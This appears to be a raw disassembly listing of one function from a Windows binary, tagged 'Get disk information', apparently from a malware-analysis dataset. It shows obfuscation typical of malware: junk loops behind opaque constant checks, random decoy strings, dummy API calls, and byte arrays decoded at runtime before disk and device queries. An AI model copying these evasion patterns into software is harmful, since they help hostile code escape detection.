Function at 0x40c36b
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x499779
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x43c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1a8], 0x663f
mov dword [ebp - 0x2b4], str.wsrzzkno_kll_ssg_sqlaka_pkts_gamj_oozcaah_uogicdyb_yatbool_shd
cmp dword [ebp - 0x1a8], 0x68e4
jle 0x40c454
and dword [ebp - 0xf0], 0
jmp 0x40c3ca
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0x54f4
jge 0x40c44a
and dword [ebp - 0xa8], 0
jmp 0x40c3ec
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x44e5
jge 0x40c445
mov eax, dword [ebp - 0xf0]
xor eax, dword [ebp - 0xa8]
cdq
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], edx
push dword [ebp - 0x2cc]
push dword [ebp - 0x2d0]
lea ecx, [ebp - 0x44c]
call fcn.00405377
pop ecx
pop ecx
mov ecx, eax
call fcn.00402e09
push eax
call fcn.00483bca
pop ecx
lea ecx, [ebp - 0x44c]
call fcn.00402bf6
jmp 0x40c3df
jmp 0x40c3bd
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
and dword [ebp - 4], 0
cmp dword [ebp - 0x1a8], 0x642a
jge 0x40c470
push dword [ebp - 0x2b4]
call fcn.00483bca
pop ecx
jmp 0x40c48c
or dword [ebp - 4], 0xffffffff
jmp 0x40c496
cmp dword [0xa93804], 0
jne 0x40d764
mov dword [ebp - 0x1e4], 0x55ba
mov dword [ebp - 0x300], str.nakta_unxgvw_wgsy_gzbfede_owha_ispgtu_nxynd_gihx_ubudq_xiwdw_hianvsxrd_itqkuy_lscuhuwy
cmp dword [ebp - 0x1e4], 0x55c7
jle 0x40c54b
and dword [ebp - 0x28], 0
jmp 0x40c4d4
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x607a
jge 0x40c54b
and dword [ebp - 0xe8], 0
jmp 0x40c4f3
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x79fa
jge 0x40c549
mov eax, dword [ebp - 0x28]
and eax, dword [ebp - 0xe8]
cdq
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], edx
push dword [ebp - 0x28c]
push dword [ebp - 0x290]
lea ecx, [ebp - 0x3d4]
call fcn.00405377
pop ecx
pop ecx
mov ecx, eax
call fcn.00402e09
push eax
call fcn.00483bca
pop ecx
lea ecx, [ebp - 0x3d4]
call fcn.00402bf6
jmp 0x40c4e6
jmp 0x40c4cd
mov byte [ebp - 0x144], 0
mov byte [ebp - 0x143], 0x4c
mov byte [ebp - 0x142], 6
mov byte [ebp - 0x141], 0x4c
mov byte [ebp - 0x140], 0x8e
mov byte [ebp - 0x13f], 0xd5
mov byte [ebp - 0x13e], 0xce
mov byte [ebp - 0x13d], 0xa6
mov byte [ebp - 0x13c], 7
mov byte [ebp - 0x13b], 0x35
mov byte [ebp - 0x13a], 0xb
mov byte [ebp - 0x139], 0x71
mov byte [ebp - 0x138], 1
mov byte [ebp - 0x137], 0x6c
mov byte [ebp - 0x136], 4
mov byte [ebp - 0x135], 0x6e
mov byte [ebp - 0x134], 2
mov byte [ebp - 0x133], 0x7d
mov byte [ebp - 0x132], 6
mov byte [ebp - 0x131], 0x40
mov byte [ebp - 0x130], 8
mov byte [ebp - 0x12f], 0x3d
mov byte [ebp - 0x12e], 5
mov byte [ebp - 0x12d], 0x7d
mov byte [ebp - 0x12c], 3
mov byte [ebp - 0x12b], 0x81
mov byte [ebp - 0x12a], 0xa
mov byte [ebp - 0x129], 0x81
mov byte [ebp - 0x128], 9
mov byte [ebp - 0x127], 0x7b
mov dword [ebp - 4], 2
cmp dword [ebp - 0x1e4], 0x524b
jge 0x40c63c
push dword [ebp - 0x300]
call fcn.00483bca
pop ecx
jmp 0x40c658
or dword [ebp - 4], 0xffffffff
jmp 0x40c662
and dword [ebp - 0x14], 0
and dword [ebp - 0x1b8], 0
jmp 0x40c677
mov eax, dword [ebp - 0x14]
inc eax
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1e
jae 0x40c6f3
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x144]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x14], eax
jne 0x40c6a9
mov dword [ebp - 0x1b8], 6
mov eax, dword [ebp - 0x14]
add eax, 4
mov dword [ebp - 0x14], eax
jmp 0x40c66f
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x143]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1b8]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jge 0x40c6d7
mov eax, dword [ebp - 0x30]
add eax, 0x100
mov dword [ebp - 0x30], eax
jmp 0x40c6c4
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x144]
mov cx, word [ebp - 0x30]
mov word [ebp + eax*2 - 0x32c], cx
jmp 0x40c66f
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0x32c], cx
mov dword [ebp - 0x1dc], 0x4930
mov dword [ebp - 0x2b8], str.znvx_awb_tqn_pye_razdrar
cmp dword [ebp - 0x1dc], 0x4958
jle 0x40c7b2
call dword [sym.imp.USER32.dll_WaitMessage]
and dword [ebp - 0xb0], 0
jmp 0x40c743
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x79a1
jge 0x40c7b2
and dword [ebp - 0x38], 0
jmp 0x40c75c
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x69fa
jge 0x40c7b0
mov eax, dword [ebp - 0xb0]
imul eax, dword [ebp - 0x38]
cdq
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 0x2d8], edx
push dword [ebp - 0x2d8]
push dword [ebp - 0x2dc]
lea ecx, [ebp - 0x3ec]
call fcn.00405377
pop ecx
pop ecx
mov ecx, eax
call fcn.00402e09
push eax
call fcn.00483bca
pop ecx
lea ecx, [ebp - 0x3ec]
call fcn.00402bf6
jmp 0x40c755
jmp 0x40c736
lea eax, [ebp - 0x32c]
push eax
lea ecx, [ebp - 0x41c]
call fcn.00425d0c
push eax
call fcn.00406aa6
pop ecx
mov dword [ebp - 0x18c], eax
lea ecx, [ebp - 0x41c]
call fcn.00402c85
mov dword [ebp - 4], 4
cmp dword [ebp - 0x1dc], 0x474e
jge 0x40c7fb
push dword [ebp - 0x2b8]
call fcn.00483bca
pop ecx
jmp 0x40c817
or dword [ebp - 4], 0xffffffff
jmp 0x40c821
and dword [ebp - 0xec], 0
jmp 0x40c837
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0xd
jae 0x40c852
xor eax, eax
mov ecx, dword [ebp - 0xec]
mov word [ebp + ecx*2 - 0x32c], ax
jmp 0x40c82a
mov dword [ebp - 0x19c], 0x1362
mov dword [ebp - 0x238], str.dmdtd_fbyhz_vpenesw_ifqji_ukur_rsxdjs_dnsoohvyb_oqt
cmp dword [ebp - 0x19c], 0x1693
jle 0x40c956
push 0
push 0x127e
push 0x16c4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
and dword [ebp - 0x48], 0
jmp 0x40c8a3
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x49ee
jge 0x40c956
and dword [ebp - 0x40], 0
jmp 0x40c8bd
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x3de6
jge 0x40c951
and dword [ebp - 0xb8], 0
jmp 0x40c8e0
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x4c66
jge 0x40c94c
and dword [ebp - 0x118], 0
jmp 0x40c902
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x7c61
jge 0x40c94a
mov ecx, dword [ebp - 0x40]
imul ecx, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x48]
shl eax, cl
mov ecx, dword [ebp - 0x118]
sar eax, cl
cdq
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], edx
push dword [ebp - 0x29c]
push dword [ebp - 0x2a0]
mov ecx, 0xa92678
call fcn.00425bf7
jmp 0x40c8f5
jmp 0x40c8d3
jmp 0x40c8b6
jmp 0x40c89c
cmp dword [ebp - 0x18c], 0
je 0x40d71b
mov dword [ebp - 0x190], 0x5d30
mov dword [ebp - 0x2f0], str.ncuvisc_hkphxcjxn_qntpmf_rdpmcpacf_uuvqpaoep_xids_yceywkfk_uaxjvzptt
cmp dword [ebp - 0x190], 0x5dab
jle 0x40ca2f
and dword [ebp - 0x50], 0
jmp 0x40c994
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x5dbc
jge 0x40ca2f
and dword [ebp - 0xc0], 0
jmp 0x40c9b7
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0xb22
jge 0x40ca2a
and dword [ebp - 0x58], 0
jmp 0x40c9d0
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x62bf
jge 0x40ca28
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0xc0]
shl eax, cl
or eax, dword [ebp - 0x58]
cdq
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], edx
push dword [ebp - 0x2e4]
push dword [ebp - 0x2e8]
lea ecx, [ebp - 0x434]
call fcn.00405377
pop ecx
pop ecx
mov ecx, eax
call fcn.00402e09
push eax
call fcn.00483bca
pop ecx
lea ecx, [ebp - 0x434]
call fcn.00402bf6
jmp 0x40c9c9
jmp 0x40c9aa
jmp 0x40c98d
mov dword [ebp - 4], 6
cmp dword [ebp - 0x190], 0x5d11
jge 0x40ca4e
push dword [ebp - 0x2f0]
call fcn.00483bca
pop ecx
jmp 0x40ca6a
or dword [ebp - 4], 0xffffffff
jmp 0x40ca74
mov dword [ebp - 0x1d0], 0x7c68
mov dword [ebp - 0x1fc], str.vpu_jonledxyj_yyqprl_dwoywcmyx_tqulstmbw_dfpo_vkstj_lctixd_cikfpl_kupk_rsei_dkhcw_hqkg
cmp dword [ebp - 0x1d0], 0x7fc5
jle 0x40cb75
and dword [ebp - 0xf8], 0
jmp 0x40caae
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x368b
jge 0x40cb75
and dword [ebp - 0x60], 0
jmp 0x40cacb
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x4f54
jge 0x40cb70
and dword [ebp - 0xc8], 0
jmp 0x40caee
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x611a
jge 0x40cb6b
and dword [ebp - 0x68], 0
jmp 0x40cb07
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x36d5
jge 0x40cb66
mov eax, dword [ebp - 0xf8]
cdq
idiv dword [ebp - 0x60]
and edx, dword [ebp - 0xc8]
and edx, dword [ebp - 0x68]
mov eax, edx
cdq
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], edx
push dword [ebp - 0x2ac]
push dword [ebp - 0x2b0]
lea ecx, [ebp - 0x3a4]
call fcn.00405377
pop ecx
pop ecx
mov ecx, eax
call fcn.00402e09
push eax
call fcn.00483bca
pop ecx
lea ecx, [ebp - 0x3a4]
call fcn.00402bf6
jmp 0x40cb00
jmp 0x40cae1
jmp 0x40cac4
jmp 0x40caa1
mov byte [ebp - 0x180], 1
mov byte [ebp - 0x17f], 0x66
mov byte [ebp - 0x17e], 9
mov byte [ebp - 0x17d], 0x67
mov byte [ebp - 0x17c], 0x1e
mov byte [ebp - 0x17b], 0xf6
mov byte [ebp - 0x17a], 0xbc
mov byte [ebp - 0x179], 0xde
mov byte [ebp - 0x178], 0xca
mov byte [ebp - 0x177], 2
mov byte [ebp - 0x176], 0x93
mov byte [ebp - 0x175], 0x9f
mov byte [ebp - 0x174], 0xef
mov byte [ebp - 0x173], 0x93
mov byte [ebp - 0x172], 0x1c
mov byte [ebp - 0x171], 0x96
mov byte [ebp - 0x170], 0x9a
mov byte [ebp - 0x16f], 0x25
mov byte [ebp - 0x16e], 0xed
mov byte [ebp - 0x16d], 0xcc
mov byte [ebp - 0x16c], 0x3d
mov byte [ebp - 0x16b], 0xaf
mov byte [ebp - 0x16a], 0x33
mov byte [ebp - 0x169], 0x8d
mov byte [ebp - 0x168], 0x82
mov byte [ebp - 0x167], 0x86
mov byte [ebp - 0x166], 1
mov byte [ebp - 0x165], 0x6e
mov byte [ebp - 0x164], 0x3c
mov byte [ebp - 0x163], 0x7e
mov byte [ebp - 0x162], 0xe7
mov byte [ebp - 0x161], 0x8f
mov byte [ebp - 0x160], 0x9d
mov byte [ebp - 0x15f], 0x52
mov byte [ebp - 0x15e], 0xa
mov byte [ebp - 0x15d], 0x77
mov byte [ebp - 0x15c], 4
mov byte [ebp - 0x15b], 0x79
mov byte [ebp - 0x15a], 0xd
mov byte [ebp - 0x159], 0x7c
mov byte [ebp - 0x158], 2
mov byte [ebp - 0x157], 0x7f
mov byte [ebp - 0x156], 5
mov byte [ebp - 0x155], 0x7c
mov byte [ebp - 0x154], 6
mov byte [ebp - 0x153], 0x72
mov byte [ebp - 0x152], 0
mov byte [ebp - 0x151], 0x58
mov byte [ebp - 0x150], 7
mov byte [ebp - 0x14f], 0x54
mov byte [ebp - 0x14e], 8
mov byte [ebp - 0x14d], 0x79
mov byte [ebp - 0x14c], 0xc
mov byte [ebp - 0x14b], 0x8a
mov byte [ebp - 0x14a], 0xb
mov byte [ebp - 0x149], 0x7e
mov byte [ebp - 0x148], 3
mov byte [ebp - 0x147], 0x6b
mov dword [ebp - 4], 8
cmp dword [ebp - 0x1d0], 0x79d0
jge 0x40cd2a
push dword [ebp - 0x1fc]
call fcn.00483bca
pop ecx
jmp 0x40cd46
or dword [ebp - 4], 0xffffffff
jmp 0x40cd50
mov dword [ebp - 0x184], 0x6e3e
mov dword [ebp - 0x214], str.vgfhbysk_sqqhk_gsv_fqfh_gurqkqiak_pmjmp_ofzv_onxcu_sptdk_vnbsujkro_dgfljzs_jwmatc_cwfz_gmvzinglj
cmp dword [ebp - 0x184], 0x701e
jle 0x40cde2
and dword [ebp - 0x110], 0
jmp 0x40cd86
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x20a7
jge 0x40cdd8
and dword [ebp - 0x70], 0
jmp 0x40cd9f
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x3b71
jge 0x40cdd6
mov eax, dword [ebp - 0x110]
and eax, dword [ebp - 0x70]
cdq
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], edx
push dword [ebp - 0x1ec]
push dword [ebp - 0x1f0]
mov ecx, 0xa92678
call fcn.00425bf7
jmp 0x40cd98
jmp 0x40cd79
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
and dword [ebp - 0x18], 0
and dword [ebp - 0x1c0], 0
jmp 0x40cdf7
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x3a
jae 0x40d1e7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x180]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x18], eax
jne 0x40cf3e
mov dword [ebp - 0x1c0], 0x1e
mov eax, dword [ebp - 0x18]
add eax, 0x1c
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x198], 0x5538
mov dword [ebp - 0x2f8], str.lgnsrhcdi_ldmlvkoje_pvvpzovjg_yejpu_jgqkkqj_qjuvdao_yyytjjlyw_xymakny_nsqpwhs_wsrp_sann_pqzts_msxggvq
cmp dword [ebp - 0x198], 0x5611
jle 0x40cef0
and dword [ebp - 0xd0], 0
jmp 0x40ce69
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0x6a1a
jge 0x40cee8
and dword [ebp - 0x78], 0
jmp 0x40ce82
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x1cd6
jge 0x40cee3
and dword [ebp - 0x100], 0
jmp 0x40cea1
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x43cc
jge 0x40cee1
mov eax, dword [ebp - 0xd0]
sub eax, dword [ebp - 0x78]
and eax, dword [ebp - 0x100]
cdq
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], edx
push dword [ebp - 0x1f4]
push dword [ebp - 0x1f8]
mov ecx, 0xa92678
call fcn.00425bf7
jmp 0x40ce94
jmp 0x40ce7b
jmp 0x40ce5c
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
jmp 0x40cdef
mov dword [ebp - 0x1a0], 0x7e41
mov dword [ebp - 0x208], str.qcsknhte_fhesagaww_vvwpqxc_gcwtiekf_oubzvg_nblchftj_capqvrf_yrigri_bywphkkue_avrem_qewvwysem_gcpnivtv_nsztykapn_gzbiu
cmp dword [ebp - 0x1a0], 0x821d
jle 0x40d02f
and dword [ebp - 0x80], 0
jmp 0x40cf6f
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x70d9
jge 0x40d02f
and dword [ebp - 0xd8], 0
jmp 0x40cf92
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x226
jge 0x40d02a
and dword [ebp - 0x88], 0
jmp 0x40cfb8
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x6710
jge 0x40d025
and dword [ebp - 0x120], 0
jmp 0x40cfda
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x7ed4
jge 0x40d023
mov eax, dword [ebp - 0x80]
cdq
idiv dword [ebp - 0xd8]
and edx, dword [ebp - 0x88]
and edx, dword [ebp - 0x120]
mov eax, edx
cdq
mov dword [ebp - 0x204], eax
mov dword [ebp - 0x200], edx
push dword [ebp - 0x200]
push dword [ebp - 0x204]
mov ecx, 0xa92678
call fcn.00425bf7
jmp 0x40cfcd
jmp 0x40cfab
jmp 0x40cf85
jmp 0x40cf68
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x17f]
sub eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c0]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x108], eax
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x1a0], 0x7afd
jge 0x40d070
mov edx, dword [ebp - 0x208]
mov ecx, 0xa92678
call fcn.00427437
jmp 0x40d08c
or dword [ebp - 4], 0xffffffff
jmp 0x40d096
mov dword [ebp - 0x1e0], 0x5722
mov dword [ebp - 0x2e0], str.vzyv_qruhpt_rkmllw_qamqk_aotgs_qemcg_lti_yzti_hjkjb_zcodrgi_pwaa
cmp dword [ebp - 0x1e0], 0x5a05
jle 0x40d165
and dword [ebp - 0x90], 0
jmp 0x40d0d0
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x7511
jge 0x40d165
and dword [ebp - 0xe0], 0
jmp 0x40d0f6
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x6c7b
jge 0x40d160
and dword [ebp - 0x98], 0
jmp 0x40d118
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0x384e
jge 0x40d15e
mov eax, dword [ebp - 0x90]
cdq
idiv dword [ebp - 0xe0]
and edx, dword [ebp - 0x98]
mov eax, edx
cdq
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], edx
push dword [ebp - 0x20c]
push dword [ebp - 0x210]
mov ecx, 0xa92678
call fcn.00425bf7
jmp 0x40d10b
jmp 0x40d0e9
jmp 0x40d0c3
cmp dword [ebp - 0x108], 0
jge 0x40d181
mov eax, dword [ebp - 0x108]
add eax, 0x100
mov dword [ebp - 0x108], eax
jmp 0x40d165
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x1e0], 0x5573
jge 0x40d1a4
mov edx, dword [ebp - 0x2e0]
mov ecx, 0xa92678
call fcn.00427437
jmp 0x40d1c0
or dword [ebp - 4], 0xffffffff
jmp 0x40d1ca
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x180]
mov cl, byte [ebp - 0x108]
mov byte [ebp + eax - 0x310], cl
jmp 0x40cdef
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x184], 0x6beb
jge 0x40d20a
mov edx, dword [ebp - 0x214]
mov ecx, 0xa92678
call fcn.00427437
jmp 0x40d226
or dword [ebp - 4], 0xffffffff
jmp 0x40d230
mov dword [ebp - 0x1c8], 0x65c4
mov dword [ebp - 0x2c0], str.sxnfi_nxbdvl_icxg_drria
cmp dword [ebp - 0x1c8], 0x66ca
jle 0x40d2d7
push 0x1577
push 0x6d0
push 0
push 0x2177
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
and dword [ebp - 0xa0], 0
jmp 0x40d283
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x59c4
jge 0x40d2d7
and dword [ebp - 0x1c], 0
jmp 0x40d29c
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x3a57
jge 0x40d2d5
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x1c]
sar eax, cl
cdq
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x218], edx
push dword [ebp - 0x218]
push dword [ebp - 0x21c]
mov ecx, 0xa92678
call fcn.00425bf7
jmp 0x40d295
jmp 0x40d276
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x310], 0
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x1c8], 0x62b3
jge 0x40d308
mov edx, dword [ebp - 0x2c0]
mov ecx, 0xa92678
call fcn.00427437
jmp 0x40d324
or dword [ebp - 4], 0xffffffff
jmp 0x40d32e
mov dword [ebp - 0x1b0], 0x6a3a
mov dword [ebp - 0x220], str.pkurdxaix_gtb_dhsqoitjg_wlxorf_fcsuxcyhz
cmp dword [ebp - 0x1b0], 0x6a7b
jle 0x40d3b6
and dword [ebp - 0x20], 0
jmp 0x40d35b
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x681c
jge 0x40d3a7
and dword [ebp - 0x24], 0
jmp 0x40d371
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x67f3
jge 0x40d3a5
mov eax, dword [ebp - 0x20]
or eax, dword [ebp - 0x24]
cdq
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], edx
push dword [ebp - 0x224]
push dword [ebp - 0x228]
mov ecx, 0xa92678
call fcn.00425bf7
jmp 0x40d36a
jmp 0x40d354
push 0x2099
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
lea eax, [ebp - 0x310]
push eax
lea ecx, [ebp - 0x344]
call fcn.00425d3c
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x1b0], 0x67a8
jge 0x40d3eb
mov edx, dword [ebp - 0x220]
mov ecx, 0xa92678
call fcn.00427437
jmp 0x40d407
or dword [ebp - 4], 0xffffffff
jmp 0x40d411
mov dword [ebp - 0x188], 0x109d
mov dword [ebp - 0x22c], str.grbllz_mkrylwlqz_jyrngqqw_khofy_nfxarb_nrzon_ezllk_hnhqpty
cmp dword [ebp - 0x188], 0x146c
jle 0x40d48a
and dword [ebp - 0x2c], 0
jmp 0x40d43e
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x4ffd
jge 0x40d48a
and dword [ebp - 0x34], 0
jmp 0x40d454
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x5f38
jge 0x40d488
mov eax, dword [ebp - 0x2c]
xor eax, dword [ebp - 0x34]
cdq
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x230], edx
push dword [ebp - 0x230]
push dword [ebp - 0x234]
mov ecx, 0xa92678
call fcn.00425bf7
jmp 0x40d44d
jmp 0x40d437
and dword [ebp - 0x5c], 0
jmp 0x40d497
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xf
jae 0x40d5e7
mov dword [ebp - 0x1d8], 0x7bba
mov dword [ebp - 0x2f4], str.oerxpknut_bpndfmhvc_yqsqsorfg_pwi_imp_jbztbi_ptacwd_rtocxj_tucdgljm
cmp dword [ebp - 0x1d8], 0x7bd7
jle 0x40d592
push 0x1497
push 0x5f0
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
and dword [ebp - 0x3c], 0
jmp 0x40d4e4
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x7ef2
jge 0x40d592
and dword [ebp - 0x44], 0
jmp 0x40d4fe
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x1530
jge 0x40d58d
and dword [ebp - 0x4c], 0
jmp 0x40d518
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x2e5a
jge 0x40d588
and dword [ebp - 0x54], 0
jmp 0x40d52e
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x7e9b
jge 0x40d586
mov eax, dword [ebp - 0x3c]
and eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x4c]
add ecx, dword [ebp - 0x54]
or eax, ecx
cdq
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
push dword [ebp - 0x23c]
push dword [ebp - 0x240]
lea ecx, [ebp - 0x404]
call fcn.00405377
pop ecx
pop ecx
mov ecx, eax
call fcn.00402e09
push eax
call fcn.00483bca
pop ecx
lea ecx, [ebp - 0x404]
call fcn.00402bf6
jmp 0x40d527
jmp 0x40d511
jmp 0x40d4f7
jmp 0x40d4dd
mov eax, dword [ebp - 0x5c]
mov byte [ebp + eax - 0x310], 0
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x1d8], 0x783e
jge 0x40d5bc
push dword [ebp - 0x2f4]
call fcn.00483bca
pop ecx
jmp 0x40d5d8
or dword [ebp - 4], 0xffffffff
jmp 0x40d5e2
jmp 0x40d490
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x188], 0x102a
jge 0x40d60a
mov edx, dword [ebp - 0x22c]
mov ecx, 0xa92678
call fcn.00427437
jmp 0x40d626
or dword [ebp - 4], 0xffffffff
jmp 0x40d630
mov dword [ebp - 0x194], 0x4fe8
mov dword [ebp - 0x2c8], str.jtwisy_aylisbao_tjcbef_trffyrctl_hvzxmnkze_xzuzysnn_zphqkzo_ynnspn_yztneqgl
cmp dword [ebp - 0x194], 0x50fd
jle 0x40d6a9
and dword [ebp - 0x64], 0
jmp 0x40d65d
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x43f3
jge 0x40d6a9
and dword [ebp - 0x6c], 0
jmp 0x40d673
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x62b5
jge 0x40d6a7
mov eax, dword [ebp - 0x64]
xor eax, dword [ebp - 0x6c]
cdq
mov dword [ebp - 0x24c], eax
mov dword [ebp - 0x248], edx
push dword [ebp - 0x248]
push dword [ebp - 0x24c]
mov ecx, 0xa92678
call fcn.00425bf7
jmp 0x40d66c
jmp 0x40d656
push 1
push 0
lea eax, [ebp - 0x344]
push eax
push dword [ebp - 0x18c]
call fcn.0040e009
add esp, 0x10
mov dword [0xa93804], eax
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x194], 0x4c15
jge 0x40d6ea
mov edx, dword [ebp - 0x2c8]
mov ecx, 0xa92678
call fcn.00427437
jmp 0x40d706
or dword [ebp - 4], 0xffffffff
